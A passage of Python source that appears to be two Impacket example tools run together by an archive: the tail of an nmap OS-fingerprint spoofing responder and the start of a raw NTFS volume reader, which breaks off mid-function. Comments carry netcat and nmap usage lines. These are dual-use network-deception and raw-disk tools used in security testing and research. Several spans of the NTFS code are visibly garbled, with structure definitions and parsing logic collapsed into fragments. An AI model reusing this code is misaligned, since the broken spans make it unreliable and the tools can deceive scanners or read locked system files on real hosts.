out_onion[O_TCP].set_ACK() out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) return out_onion class ClosedTCPResponder(TCPResponder): def isMine(self, in_onion): return ( TCPResponder.isMine(self, in_onion) and in_onion[O_TCP].get_SYN() and not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) def buildAnswer(self, in_onion): out_onion = TCPResponder.buildAnswer(self, in_onion) out_onion[O_TCP].set_RST() out_onion[O_TCP].set_ACK() out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) return out_onion class UDPCommandResponder(OpenUDPResponder): # default UDP_CMD_PORT is 12345 # use with: # echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT) # echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT) def set_port(self, port): self.port = port self.machine.openUDPPort(port) return self def isMine(self, in_onion): return ( OpenUDPResponder.isMine(self, in_onion))# and #in_onion[O_UDP].get_uh_dport() == self.port) def buildAnswer(self, in_onion): cmd = in_onion[O_UDP_DATA].get_bytes().tostring() if cmd[:4] == 'cmd:': cmd = cmd[4:].strip() print "Got command: %r" % cmd if cmd == 'exit': from sys import exit exit() out_onion = OpenUDPResponder.buildAnswer(self, in_onion) out_onion.append(ImpactPacket.Data()) out_onion[O_UDP].contains(out_onion[O_UDP_DATA]) if cmd == 'who': out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id()) return out_onion # NMAP2 specific responders class NMAP2UDPResponder(ClosedUDPResponder): signatureName = 'U1' # No real need to filter # def isMine(self, in_onion): # return ( # ClosedUDPResponder.isMine(self, inOnion) and # (in_onion[O_UDP_DATA].get_size() == 300)) def buildAnswer(self, in_onion): out_onion = ClosedUDPResponder.buildAnswer(self, in_onion) f = self.fingerprint # assume R = Y try: if (f['R'] == 'N'): return None except: pass # Test DF: Don't fragment IP bit set = [YN] if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) else: out_onion[O_IP].set_ip_df(False) self.setTTLFromFingerprint(out_onion) # UN. Assume 0 try: un = int(f['UN'],16) except: un = 0 out_onion[O_ICMP].set_icmp_void(un) # RIPL. Assume original packet just quoted try: ripl = int(f['RIPL'],16) # G generates exception out_onion[O_ICMP_DATA].set_ip_len(ripl) except: pass # RID. Assume original packet just quoted try: rid = int(f['RID'],16) # G generates exception out_onion[O_ICMP_DATA].set_ip_id(rid) except: pass # RIPCK. Assume original packet just quoted try: ripck = f['RIPCK'] except: ripck = 'G' if ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765) elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0) elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0 # RUCK. Assume original packet just quoted try: ruck = int(f['RUCK'], 16) out_onion[O_ICMP_DATA+1].set_uh_sum(ruck) except: out_onion[O_ICMP_DATA+1].auto_checksum = 0 # RUD. Assume original packet just quoted try: rud = f['RUD'] except: rud = 'G' if rud == 'I': udp_data = out_onion[O_ICMP_DATA+2] udp_data.set_data('G'*udp_data.get_size()) # IPL. Assume all original packet is quoted # This has to be the last thing we do # as we are going to render the packet before doing it try: ipl = int(f['IPL'], 16) except: ipl = None if not ipl is None: data = out_onion[O_ICMP_DATA].get_packet() out_onion[O_ICMP].contains(ImpactPacket.Data()) ip_and_icmp_len = out_onion[O_IP].get_size() data = data[:ipl - ip_and_icmp_len] data += '\x00'*(ipl-len(data)-ip_and_icmp_len) out_onion = out_onion[:O_ICMP_DATA] out_onion.append(ImpactPacket.Data(data)) out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA]) return out_onion class NMAP2ICMPResponder(ICMPResponder): def buildAnswer(self, in_onion): f = self.fingerprint # assume R = Y try: if (f['R'] == 'N'): return None except: pass out_onion = ICMPResponder.buildAnswer(self, in_onion) # assume DFI = N try: dfi = f['DFI'] except: dfi = 'N' if dfi == 'N': out_onion[O_IP].set_ip_df(False) elif dfi == 'Y': out_onion[O_IP].set_ip_df(True) elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df()) elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df()) else: raise Exception('Unsupported IE(DFI=%s)' % dfi) # assume DLI = S try: dli = f['DLI'] except: dli = 'S' if dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA]) elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli) self.setTTLFromFingerprint(out_onion) # assume SI = S try: si = f['SI'] except: si = 'S' if si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already else: try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap except: raise Exception('Unsupported IE(SI=%s)' % si) # assume CD = S try: cd = f['CD'] except: cd = 'S' if cd == 'Z': out_onion[O_ICMP].set_icmp_code(0) elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()) elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1) # no examples in DB else: try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available except: raise Exception('Unsupported IE(CD=%s)' % cd) # assume TOSI = S try: tosi = f['TOSI'] except: tosi = 'S' if tosi == 'Z': out_onion[O_IP].set_ip_tos(0) elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()) elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1) # no examples in DB else: try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available except: raise Exception('Unsupported IE(TOSI=%s)' % tosi) return out_onion class NMAP2TCPResponder(TCPResponder): def buildAnswer(self, in_onion): out_onion = TCPResponder.buildAnswer(self, in_onion) f = self.fingerprint # Test R: There is a response = [YN] if (f['R'] == 'N'): return None # Test DF: Don't fragment IP bit set = [YN] if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) else: out_onion[O_IP].set_ip_df(False) # Test W: Initial TCP windows size try: win = int(f['W'],16) except: win = 0 out_onion[O_TCP].set_th_win(win) self.setTTLFromFingerprint(out_onion) # Test CC: Explicit congestion notification # Two TCP flags are used in this test: ECE and CWR try: cc = f['CC'] if cc == 'N': ece,cwr = 0,0 if cc == 'Y': ece,cwr = 1,0 if cc == 'S': ece,cwr = 1,1 if cc == 'O': ece,cwr = 0,1 except: ece,cwr = 0,0 if ece: out_onion[O_TCP].set_ECE() else: out_onion[O_TCP].reset_ECE() if cwr: out_onion[O_TCP].set_CWR() else: out_onion[O_TCP].reset_CWR() # Test O: TCP Options try: options = f['O'] except: options = '' self.setTCPOptions(out_onion, options) # Test S: TCP Sequence number # Z: Sequence number is zero # A: Sequence number is the same as the ACK in the probe # A+: Sequence number is the same as the ACK in the probe + 1 # O: Other value try: s = f['S'] except: s = 'O' if s == 'Z': out_onion[O_TCP].set_th_seq(0) if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()) if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1) if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) # Test A: TCP ACK number # Z: Ack is zero # S: Ack is the same as the Squence number in the probe # S+: Ack is the same as the Squence number in the probe + 1 # O: Other value try: a = f['A'] except: a = 'O' if a == 'Z': out_onion[O_TCP].set_th_ack(0) if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()) if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) # Test Q: Quirks # R: Reserved bit set (right after the header length) # U: Urgent pointer non-zero and URG flag clear try: if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800) except: pass try: if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff) except: pass # Test F: TCP Flags try: flags = f['F'] except: flags = '' if 'E' in flags: out_onion[O_TCP].set_ECE() if 'U' in flags: out_onion[O_TCP].set_URG() if 'A' in flags: out_onion[O_TCP].set_ACK() if 'P' in flags: out_onion[O_TCP].set_PSH() if 'R' in flags: out_onion[O_TCP].set_RST() if 'S' in flags: out_onion[O_TCP].set_SYN() if 'F' in flags: out_onion[O_TCP].set_FIN() # Test RD: TCP Data checksum (mostly for data in RST) try: crc = f['RD'] if crc != '0': # when the crc = int(crc, 16) data = 'TCP Port is closed\x00' data += uncrc32.compensate(data, crc) data = ImpactPacket.Data(data) out_onion.append(data) out_onion[O_TCP].contains(data) except: pass return out_onion def setTCPOptions(self, onion, options): def getValue(string, i): value = 0 idx = i for c in options[i:]: try: value = value * 0x10 + int(c,16) except: break idx += 1 return value, idx # Test O,O1=O6: TCP Options # L: End of Options # N: NOP # S: Selective ACK # Mx: MSS (x is a hex number) # Wx: Windows Scale (x is a hex number) # Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr i = 0 tcp = onion[O_TCP] while i < len(options): opt = options[i] i += 1 if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL)) if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP)) if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)) if opt == 'T': opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP) # default ts = 0, ts_echo = 0 if options[i] == '1': opt.set_ts(self.machine.getTCPTimeStamp()) if options[i+1] == '1': opt.set_ts_echo(0xffffffffL) tcp.add_option(opt) i += 2 if opt == 'M': maxseg, i = getValue(options, i) tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg)) if opt == 'W': window, i = getValue(options, i) tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window)) class nmap2_SEQ(NMAP2TCPResponder): templateClass = None signatureName = None seqNumber = None def initFingerprint(self): NMAP2TCPResponder.initFingerprint(self) if not self.seqNumber: return else: OPS = self.machine.fingerprint.get_tests()['OPS'] WIN = self.machine.fingerprint.get_tests()['WIN'] self.fingerprint['O'] = OPS['O%d' % self.seqNumber] self.fingerprint['W'] = WIN['W%d' % self.seqNumber] class nmap2_ECN(NMAP2TCPResponder): templateClass = os_ident.nmap2_ecn_probe signatureName = 'ECN' class nmap2_SEQ1(nmap2_SEQ): templateClass = os_ident.nmap2_seq_1 signatureName = 'T1' seqNumber = 1 class nmap2_SEQ2(nmap2_SEQ): templateClass = os_ident.nmap2_seq_2 signatureName = 'T1' seqNumber = 2 class nmap2_SEQ3(nmap2_SEQ): templateClass = os_ident.nmap2_seq_3 signatureName = 'T1' seqNumber = 3 class nmap2_SEQ4(nmap2_SEQ): templateClass = os_ident.nmap2_seq_4 signatureName = 'T1' seqNumber = 4 class nmap2_SEQ5(nmap2_SEQ): templateClass = os_ident.nmap2_seq_5 signatureName = 'T1' seqNumber = 5 class nmap2_SEQ6(nmap2_SEQ): templateClass = os_ident.nmap2_seq_6 signatureName = 'T1' seqNumber = 6 class nmap2_T2(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_open_2 signatureName = 'T2' class nmap2_T3(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_open_3 signatureName = 'T3' class nmap2_T4(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_open_4 signatureName = 'T4' class nmap2_T5(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_closed_1 signatureName = 'T5' class nmap2_T6(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_closed_2 signatureName = 'T6' class nmap2_T7(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_closed_3 signatureName = 'T7' class nmap2_ICMP_1(NMAP2ICMPResponder): templateClass = os_ident.nmap2_icmp_echo_probe_1 signatureName = 'IE' class nmap2_ICMP_2(NMAP2ICMPResponder): templateClass = os_ident.nmap2_icmp_echo_probe_2 signatureName = 'IE' class Machine: AssumedTimeIntervalPerPacket = 0.11 # seconds def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'): self.interface = interface self.ipAddress = ipAddress self.macAddress = macAddress self.responders = [] self.decoder = ImpactDecoder.EthDecoder() self.initPcap() self.initFingerprint(emmulating, nmapOSDB) self.initSequenceGenerators() self.openTCPPorts = openTCPPorts self.openUDPPorts = openUDPPorts print self def openUDPPort(self, port): if self.isUDPPortOpen(port): return self.openUDPPorts.append(port) def isUDPPortOpen(self, port): return port in self.openUDPPorts def isTCPPortOpen(self, port): return port in self.openTCPPorts def initPcap(self): self.pcap = pcapy.open_live(self.interface, 65535, 1, 0) try: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress)) except: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00) def initGenericResponders(self): # generic responders self.addResponder(ARPResponder(self)) self.addResponder(OpenUDPResponder(self)) self.addResponder(ClosedUDPResponder(self)) self.addResponder(OpenTCPResponder(self)) self.addResponder(ClosedTCPResponder(self)) def initFingerprint(self, emmulating, nmapOSDB): fpm = os_ident.NMAP2_Fingerprint_Matcher('') f = file(nmapOSDB, 'r') for text in fpm.fingerprints(f): fingerprint = fpm.parse_fp(text) if fingerprint.get_id() == emmulating: self.fingerprint = fingerprint self.simplifyFingerprint() # print fingerprint return raise Exception, "Couldn't find fingerprint data for %r" % emmulating def simplifyFingerprint(self): tests = self.fingerprint.get_tests() for probeName in tests: probe = tests[probeName] for test in probe: probe[test] = probe[test].split('|')[0] def initSequenceGenerators(self): self.initIPIDGenerator() self.initTCPISNGenerator() self.initTCPTSGenerator() def initIPIDGenerator(self): seq = self.fingerprint.get_tests()['SEQ'] self.ip_ID = 0 try: TI = seq['TI'] except: TI = 'O' if TI == 'Z': self.ip_ID_delta = 0 elif TI == 'RD': self.ip_ID_delta = 30000 elif TI == 'RI': self.ip_ID_delta = 1234 elif TI == 'BI': self.ip_ID_delta = 1024+256 elif TI == 'I': self.ip_ID_delta = 1 elif TI == 'O': self.ip_ID_delta = 123 else: self.ip_ID_delta = int(TI, 16) try: ss = seq['SS'] except: ss = 'O' self.ip_ID_ICMP_delta = None if ss == 'S': self.ip_ID_ICMP = None else: self.ip_ID_ICMP = 0 try: II = seq['II'] except: II = 'O' if II == 'Z': self.ip_ID_ICMP_delta = 0 elif II == 'RD': self.ip_ID_ICMP_delta = 30000 elif II == 'RI': self.ip_ID_ICMP_delta = 1234 elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256 elif II == 'I': self.ip_ID_ICMP_delta = 1 elif II == 'O': self.ip_ID_ICMP_delta = 123 else: self.ip_ID_ICMP_delta = int(II, 16) # generate a few, so we don't start with 0 when we don't have to for i in range(10): self.getIPID() self.getIPID_ICMP() print "IP ID Delta: %d" % self.ip_ID_delta print "IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta def initTCPISNGenerator(self): # tcp_ISN and tcp_ISN_delta for TCP Initial sequence numbers self.tcp_ISN = 0 try: self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16) except: self.tcp_ISN_GCD = 1 try: isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-') if len(isr) == 1: isr = int(isr[0], 16) else: isr = (int(isr[0], 16) + int(isr[1], 16)) / 2 except: isr = 0 try: sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-') sp = int(sp[0], 16) except: sp = 0 self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4 # n-1 on small populations... erm... if self.tcp_ISN_GCD > 9: self.tcp_ISN_stdDev *= self.tcp_ISN_GCD self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket self.tcp_ISN_delta = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket # generate a few, so we don't start with 0 when we don't have to for i in range(10): self.getTCPSequence() print "TCP ISN Delta: %f" % self.tcp_ISN_delta print "TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev def initTCPTSGenerator(self): # tcp_TS and tcp_TS_delta for TCP Time stamp generation self.tcp_TS = 0 try: ts = self.fingerprint.get_tests()['SEQ']['TS'] except: ts = 'U' if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0 else: self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket # generate a few, so we don't start with 0 when we don't have to for i in range(10): self.getTCPTimeStamp() print "TCP TS Delta: %f" % self.tcp_TS_delta def getIPID(self): answer = self.ip_ID self.ip_ID += self.ip_ID_delta self.ip_ID %= 0x10000L # print "IP ID: %x" % answer return answer def getIPID_ICMP(self): if self.ip_ID_ICMP is None: return self.getIPID() answer = self.ip_ID_ICMP self.ip_ID_ICMP += self.ip_ID_ICMP_delta self.ip_ID_ICMP %= 0x10000L # print "---> IP ID: %x" % answer return answer def getTCPSequence(self): answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random() self.tcp_ISN_stdDev *= -1 answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD) self.tcp_ISN += self.tcp_ISN_delta self.tcp_ISN %= 0x100000000L # print "---> TCP Sequence: %d" % (answer % 0x100000000L) return answer % 0x100000000L def getTCPTimeStamp(self): answer = int(round(self.tcp_TS)) self.tcp_TS += self.tcp_TS_delta self.tcp_TS %= 0x100000000L # print "---> TCP Time Stamp: %x" % answer return answer def sendPacket(self, onion): if not onion: return print "--> Packet sent:" #print onion[0] #print self.pcap.sendpacket(onion[O_ETH].get_packet()) def addResponder(self, aResponder): self.responders.append(aResponder) def run(self): while 1: p = self.pcap.next() try: in_onion = [self.decoder.decode(p[1])] except: in_onion = [self.decoder.decode(p[0])] try: while 1: in_onion.append(in_onion[-1].child()) except: pass #print "-------------- Received: ", in_onion[0] for r in self.responders: if r.process(in_onion): break def main(): def initResponders(machine): # cmd responder # machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT)) # nmap2 specific responders machine.addResponder(nmap2_SEQ1(machine)) machine.addResponder(nmap2_SEQ2(machine)) machine.addResponder(nmap2_SEQ3(machine)) machine.addResponder(nmap2_SEQ4(machine)) machine.addResponder(nmap2_SEQ5(machine)) machine.addResponder(nmap2_SEQ6(machine)) machine.addResponder(nmap2_ECN(machine)) machine.addResponder(nmap2_T2(machine)) machine.addResponder(nmap2_T3(machine)) machine.addResponder(nmap2_T4(machine)) machine.addResponder(nmap2_T5(machine)) machine.addResponder(nmap2_T6(machine)) machine.addResponder(nmap2_T7(machine)) machine.addResponder(nmap2_ICMP_1(machine)) machine.addResponder(nmap2_ICMP_2(machine)) machine.addResponder(NMAP2UDPResponder(machine)) from sys import argv, exit def usage(): print """ if arg == '-h': usage() if arg == '--help': usage() if arg == '-f': Fingerprint = value if arg == '-p': IP = value if arg == '-m': MAC = value if arg == '-i': IFACE = value if arg == '-d': nmapOsDB = value where: arg = argv[i] value = argv[i+1] """ exit() global Fingerprint, IFACE, MAC, IP, nmapOSDB for i in xrange(len(argv)): arg = argv[i] try: value = argv[i+1] except: value = None if arg == '-h': usage() if arg == '--help': usage() if arg == '-f': Fingerprint = value if arg == '-p': IP = value if arg == '-m': MAC = value if arg == '-i': IFACE = value if arg == '-d': nmapOSDB = value print "Emulating: %r" % Fingerprint print "at %s / %s / %s" % (IFACE, MAC, IP) machine = Machine( Fingerprint, IFACE, IP, MAC, OPEN_TCP_PORTS, OPEN_UDP_PORTS, nmapOSDB = nmapOSDB) initResponders(machine) machine.initGenericResponders() machine.run() if __name__ == '__main__': # Init the example's logger theme logger.init() main() # All Probes # [x] SEQ # [x] OPS # [x] WIN # [x] T1 # [x] T2 # [x] T3 # [x] T4 # [x] T5 # [x] T6 # [x] T7 # [x] IE # [x] ECN # [x] U1 # All Tests # SEQ() # [x] TCP ISN sequence predictability index (SP) # [x] TCP ISN greatest common divisor (GCD) # [x] TCP ISN counter rate (ISR) # [x] IP ID sequence generation algorithm on TCP Open ports (TI) # [x] Z - All zeros # [x] RD - Random: It increments at least once by at least 20000. # [-] Hex Value - fixed IP ID # [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0) # [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120. # [x] I - Incremental. All delta_i < 10 # [x] O - (Ommited, the test does not show in the fingerprint). None of the other # [-] IP ID sequence generation algorithm on TCP closed ports (CI) # [x] IP ID sequence generation algorithm on ICMP messages (II) # [x] Shared IP ID sequence Boolean (SS) # [x] TCP timestamp option algorithm (TS) # [x] U - unsupported (don't send TS) # [x] 0 - Zero # [x] 1 - 0-5.66 (2 Hz) # [x] 7 - 70-150 (100 Hz) # [x] 8 - 150-350 (200 Hz) # [x] - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2))) # time_diff = 0.11 segs # OPS() # [x] TCP options (O, O1-O6) # WIN() # [x] TCP initial window size (W, W1-W6) # ECN, T1-T7 # [x] TCP options (O, O1-O6) # [x] TCP initial window size (W, W1-W6) # [x] Responsiveness (R) # [x] IP don't fragment bit (DF) # [x] IP initial time-to-live (T) # [x] IP initial time-to-live guess (TG) # [x] Explicit congestion notification (CC) # [x] TCP miscellaneous quirks (Q) # [x] TCP sequence number (S) # [x] TCP acknowledgment number (A) # [x] TCP flags (F) # [x] TCP RST data checksum (RD) # IE() # [x] Responsiveness (R) # [x] Don't fragment (ICMP) (DFI) # [x] IP initial time-to-live (T) # [x] IP initial time-to-live guess (TG) # [x] ICMP response code (CD) #-[x] IP Type of Service (TOSI) #-[x] ICMP Sequence number (SI) #-[x] IP Data Length (DLI) # U1() # [x] Responsiveness (R) # [x] IP don't fragment bit (DF) # [x] IP initial time-to-live (T) # [x] IP initial time-to-live guess (TG) # [x] IP total length (IPL) # [x] Unused port unreachable field nonzero (UN) # [x] Returned probe IP total length value (RIPL) # [x] Returned probe IP ID value (RID) # [x] Integrity of returned probe IP checksum value (RIPCK) # [x] Integrity of returned probe UDP checksum (RUCK) # [x] Integrity of returned UDP data (RUD) # [-] ??? (TOS) Type of Service # [-] ??? (RUL) Length of return UDP packet is correct # sudo nmap -O 127.0.0.2 -p 22,111,89 # sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)' impacket-0.9.15/examples/ntfs-read.py0000700000076500000000000011624612734531507017537 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: Mini shell for browsing an NTFS volume # # Author: # Alberto Solino (@agsolino) # # # Reference for: # Structure. Quick and dirty implementation.. just for fun.. ;) # # NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. # # TODO # [] Parse the attributes list attribute. It is unknown what would happen now if # we face a highly fragmented file that will have many attributes that won't fit # in the MFT Record # [] Support compressed, encrypted and sparse files # import os import sys import logging import struct import argparse import cmd import ntpath # If you wanna have readline like functionality in Windows, install pyreadline try: import pyreadline as readline except ImportError: import readline from datetime import datetime from impacket.examples import logger from impacket import version from impacket.structure import Structure import string def pretty_print(x): if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ': return x else: return '.' def hexdump(data): x=str(data) strLen = len(x) i = 0 while i < strLen: print "%04x " % i, for j in range(16): if i+j < strLen: print "%02X" % ord(x[i+j]), else: print " ", if j%16 == 7: print "", print " ", print ''.join(pretty_print(x) for x in x[i:i+16] ) i += 16 # Reserved/fixed MFTs FIXED_MFTS = 16 # Attribute types UNUSED = 0 STANDARD_INFORMATION = 0x10 ATTRIBUTE_LIST = 0x20 FILE_NAME = 0x30 OBJECT_ID = 0x40 SECURITY_DESCRIPTOR = 0x50 VOLUME_NAME = 0x60 VOLUME_INFORMATION = 0x70 DATA = 0x80 INDEX_ROOT = 0x90 INDEX_ALLOCATION = 0xa0 BITMAP = 0xb0 REPARSE_POINT = 0xc0 EA_INFORMATION = 0xd0 EA = 0xe0 PROPERTY_SET = 0xf0 LOGGED_UTILITY_STREAM = 0x100 FIRST_USER_DEFINED_ATTRIBUTE = 0x1000 END = 0xffffffff # Attribute flags ATTR_IS_COMPRESSED = 0x0001 ATTR_COMPRESSION_MASK = 0x00ff ATTR_IS_ENCRYPTED = 0x4000 ATTR_IS_SPARSE = 0x8000 # FileName type flags FILE_NAME_POSIX = 0x00 FILE_NAME_WIN32 = 0x01 FILE_NAME_DOS = 0x02 FILE_NAME_WIN32_AND_DOS = 0x03 # MFT Record flags MFT_RECORD_IN_USE = 0x0001 MFT_RECORD_IS_DIRECTORY = 0x0002 MFT_RECORD_IS_4 = 0x0004 MFT_RECORD_IS_VIEW_INDEX = 0x0008 MFT_REC_SPACE_FILLER = 0xfffff # File Attribute Flags FILE_ATTR_READONLY = 0x0001 FILE_ATTR_HIDDEN = 0x0002 FILE_ATTR_SYSTEM = 0x0004 FILE_ATTR_DIRECTORY = 0x0010 FILE_ATTR_ARCHIVE = 0x0020 FILE_ATTR_DEVICE = 0x0040 FILE_ATTR_NORMAL = 0x0080 FILE_ATTR_TEMPORARY = 0x0100 FILE_ATTR_SPARSE_FILE = 0x0200 FILE_ATTR_REPARSE_POINT = 0x0400 FILE_ATTR_COMPRESSED = 0x0800 FILE_ATTR_OFFLINE = 0x1000 FILE_ATTR_NOT_CONTENT_INDEXED = 0x2000 FILE_ATTR_ENCRYPTED = 0x4000 FILE_ATTR_VALID_FLAGS = 0x7fb7 FILE_ATTR_VALID_SET_FLAGS = 0x31a7 FILE_ATTR_I30_INDEX_PRESENT = 0x10000000 FILE_ATTR_VIEW_INDEX_PRESENT = 0x20000000 # NTFS System files FILE_MFT = 0 FILE_MFTMirr = 1 FILE_LogFile = 2 FILE_Volume = 3 FILE_AttrDef = 4 FILE_Root = 5 FILE_Bitmap = 6 FILE_Boot = 7 FILE_BadClus = 8 FILE_Secure = 9 FILE_UpCase = 10 FILE_Extend = 11 # Index Header Flags SMALL_INDEX = 0 LARGE_INDEX = 1 LEAF_NODE = 0 INDEX_NODE = 1 NODE_MASK = 0 # Index Entry Flags INDEX_ENTRY_NODE = 1 INDEX_ENTRY_END = 2 INDEX_ENTRY_SPACE_FILLER = 0xffff class NTFS_BPB(Structure): structure = ( ('BytesPerSector',' 0 and self.AttributeHeader['Type'] != END: self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le') def getFlags(self): return self.AttributeHeader['Flags'] def getName(self): return self.AttributeName def isNonResident(self): return self.AttributeHeader['NonResident'] def dump(self): return self.AttributeHeader.dump() def getTotalSize(self): return self.AttributeHeader['Length'] def getType(self): return self.AttributeHeader['Type'] class AttributeResident(Attribute): def __init__(self, iNode, data): logging.debug("Inside AttributeResident: iNode: %s" % iNode.INodeNumber) Attribute.__init__(self,iNode,data) self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):]) self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']] def dump(self): return self.ResidentHeader.dump() def getFlags(self): return self.ResidentHeader['Flags'] def getValue(self): return self.AttrValue def read(self,offset,length): logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) return self.AttrValue[offset:][:length] def getDataSize(self): return len(self.AttrValue) class AttributeNonResident(Attribute): def __init__(self, iNode, data): logging.debug("Inside AttributeNonResident: iNode: %s" % iNode.INodeNumber) Attribute.__init__(self,iNode,data) self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):]) self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']] self.DataRuns = [] self.ClusterSize = 0 self.parseDataRuns() def dump(self): return self.NonResidentHeader.dump() def getDataSize(self): return self.NonResidentHeader['InitializedSize'] def getValue(self): return None def parseDataRuns(self): value = self.AttrValue if value is not None: VCN = 0 LCN = 0 LCNOffset = 0 while value[0] != '\x00': LCN += LCNOffset dr = NTFS_DATA_RUN() size = struct.unpack('B',(value[0]))[0] value = value[1:] lengthBytes = size & 0x0F offsetBytes = size >> 4 length = value[:lengthBytes] length = struct.unpack('= dr['StartVCN']) and (vcn <= dr['LastVCN']): vcnsToRead = dr['LastVCN'] - vcn + 1 # Are we requesting to read more data outside this DataRun? if numOfClusters > vcnsToRead: # Yes clustersToRead = vcnsToRead else: clustersToRead = numOfClusters tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN'])) if tmpBuf is not None: buf += tmpBuf clustersLeft -= clustersToRead vcn += clustersToRead else: break if clustersLeft == 0: break return buf def read(self,offset,length): logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) buf = '' curLength = length self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster'] # Given the offset, let's calculate what VCN should be the first one to read vcnToStart = offset / self.ClusterSize #vcnOffset = self.ClusterSize - (offset % self.ClusterSize) # Do we have to read partial VCNs? if offset % self.ClusterSize: # Read the whole VCN bufTemp = self.readVCN(vcnToStart, 1) if bufTemp is '': # Something went wrong return None buf = bufTemp[offset % self.ClusterSize:] curLength -= len(buf) vcnToStart += 1 # Finished? if curLength <= 0: return buf[:length] # First partial cluster read.. now let's keep reading full clusters # Data left to be read is bigger than a Cluster? if curLength / self.ClusterSize: # Yep.. so let's read full clusters bufTemp = 